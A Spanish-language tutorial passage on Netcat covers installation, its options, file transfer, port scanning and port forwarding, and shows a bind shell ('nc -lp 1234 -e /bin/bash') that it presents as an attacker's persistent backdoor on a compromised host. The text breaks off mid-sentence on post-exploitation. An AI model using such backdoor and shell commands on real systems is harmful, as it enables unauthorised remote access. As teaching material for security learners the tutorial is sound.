Una estupenda herramienta, conocida como la “Navaja suiza de los hackers” gracias a su versatilidad a la hora de leer y escribir datos sobre conexiones de red usando protocolo TCP o UDP, tal como se indica en el sitio oficial “Netcat es una herramienta que permite la depuración y exploración de redes ya que permite crear casi cualquier tipo de conexiones entre dos o varios nodos de un segmento de red” puede tratarse de una red local LAN o en una red de amplia longitud como Internet. Netcat es una herramienta que ha cesado su desarrollo en el año 2004 y que cumple perfectamente con los objetivos planteados en su diseño original, es decir, brindar conexiones entrantes y salientes con TCP o UDP desde y hacia cualquier puerto. Por otro lado Netcat permite de una forma bastante primitiva, realizar escaneos de puertos, sin embargo, no esta pensada para ejecutar técnicas de evasión de sistemas de seguridad como IDS/IPS por esta razón (y muchas otras), es mucho mejor utilizar Nmap para este cometido. Ha sido una de las primeras herramientas que permitía crear túneles de conexiones con la capacidad de indicar varios parámetros de red, aunque actualmente existen utilidades que permiten realizar lo mismo de una forma un poco mas optima y segura utilizando mecanismos de cifrado entre otras cosas (Socat, que se verá en la próxima entrada) es bastante útil para crear puertas traseras livianas e iniciar servicios en la maquina local en espera de cualquier tipo de conexión remota para intercambio de datos. Sin lugar a dudas es una herramienta que cualquier hacker debe conocer y dominar.

Utilizando NetCat

En primer lugar es necesario instalarlo, para esto, desde una maquina con Debian puede ejecutarse el comando apt-get correspondiente a:

>apt-get install netcat

De este modo se puede comenzar a utilizar Netcat. Ahora, para ver las opciones que soporta la herramienta:

>netcat -h [v1.10-38]

connect to somewhere: nc [-options] hostname port[s] [ports] …

listen for inbound: nc -l -p port [-options] [hostname] [port]

options:

-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]

-e filename program to exec after connect [dangerous!!]

-b allow broadcasts

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, …

-h this cruft

-i secs delay interval for lines sent, ports scanned

-k set keepalive option on socket

-l listen mode, for inbound connects

-n numeric-only IP addresses, no DNS

-o file hex dump of traffic

-p port local port number

-r randomize local and remote ports

-q secs quit after EOF on stdin and delay of secs

-s addr local source address

-T tos set Type Of Service

-t answer TELNET negotiation

-u UDP mode

-v verbose [use twice to be more verbose]

-w secs timeout for connects and final net reads

-z zero-I/O mode [used for scanning]

port numbers can be individual or ranges: lo-hi [inclusive];

hyphens in port names must be backslash escaped (e.g. ‘ftp\-data’).

El uso mas simple que se puede dar con esta herramienta, es una conexión plana, donde desde una maquina se ejecuta el servicio de Netcat en un puerto determinado y desde otra maquina se realiza la conexión a dicho puerto:

SERVIDOR CLIENTE
root@debian:~# nc -lp 3344Hola Servidor!

Este mensaje sale al otro lado de la conexión

root@adastra# nc -v 192.168.1.34 3344 Connection to 192.168.1.34 3344 port [tcp/*] succeeded!

Hola Servidor!

Este mensaje sale al otro lado de la conexión

Como puede apreciarse de una forma muy sencilla se puede establecer una conexión entre dos maquinas utilizando un puerto arbitrario en la maquina denominada “servidor” donde se reciben los mensajes que se envían desde la maquina denominada “cliente”.

Los mensajes enviados entre ambas maquinas pueden manipularse de diversas formas, por ejemplo enviando los mensajes a un fichero en cliente y servidor.

SERVIDOR CLIENTE
nc -lp 3344 > servidorcat servidor

Hola servidor

echo “Hola Servidor” clientenc -v 192.168.1.34 3344 < cliente

Connection to 192.168.1.34 3344 port [tcp/*] succeeded!

Apreciar que la dirección de los símbolos “<” y “>” indican por el lado del servidor que toda la información recibida por el puerto de escucha será redirigida al fichero “servidor” mientras que en el lado del cliente indica que todo el contenido del fichero indicado será enviado a la maquina remota en el puerto seleccionado.

Además de las características anteriores, con Netcat también es posible establecer conexiones de forma consecutiva a un conjunto de puertos dado, de esta forma, Netcat intentará establecer una conexión al primer puerto en el rango definido (de forma descendente), cuando esta conexión finalice, intentará conectarse al siguiente puerto y así continuará hasta que no queden mas puertos en el rango indicado.

nc -v -t 192.168.1.34 1-80debian.local [192.168.1.34] 80 (www) open

GET /

<html><body><h1>It works!</h1>

<p>This is the default web page for this server.</p>

<p>The web server software is running but no content has been added, yet.</p>

</body></html>

debian.local [192.168.1.34] 23 (telnet) open

#Debian GNU/Linux 6.0

debian login:

Como se puede apreciar, una vez se ha finalizado la conexión con el puerto 80 se ha abierto una conexión con el siguiente puerto (23, servicio telnet)

Como se ha mencionado anteriormente también se puede ejecutar un escaneo de puertos primitivo.

nc -i 5 -v -z -n 192.168.1.34 1-10000debian.local [192.168.1.34] 111 (sunrpc) open

debian.local [192.168.1.34] 80 (www) open

debian.local [192.168.1.34] 23 (telnet) open

debian.local [192.168.1.34] 22 (ssh) open

Por otro lado, se pueden ejecutar comandos de forma arbitraria, lo que es muy útil para un atacante cuando intenta establecer una puerta trasera persistente en un sistema comprometido, en este orden de ideas también se suele realizar un forward de peticiones enviando el trafico a una a otra maquina en un puerto determinado.

SERVIDOR CLIENTE
nc -lp 1234 -c «nc localhost 80» nc -v 192.168.1.34 1234debian.local [192.168.1.34] 1234 (?) open

GET /

<html><body><h1>It works!</h1>

<p>This is the default web page for this server.</p>

<p>The web server software is running but no content has been added, yet.</p>

</body></html>

nc -lp 1234 -e «/bin/bash»bash: línea 4: novalido: no se encontró la orden nc -v 192.168.1.34 1234debian.local [192.168.1.34] 1234 (?) open

pwd

/home/jdaanial

whoami

jdaanial

uname -r

2.6.32-5-686

novalido

Los ejemplos anteriores son muy bastante sencillos, sin embargo, en la simplicidad se hace honor a la belleza! Normalmente un atacante utiliza Netcat en procesos de post-explotacion para garantizar el acceso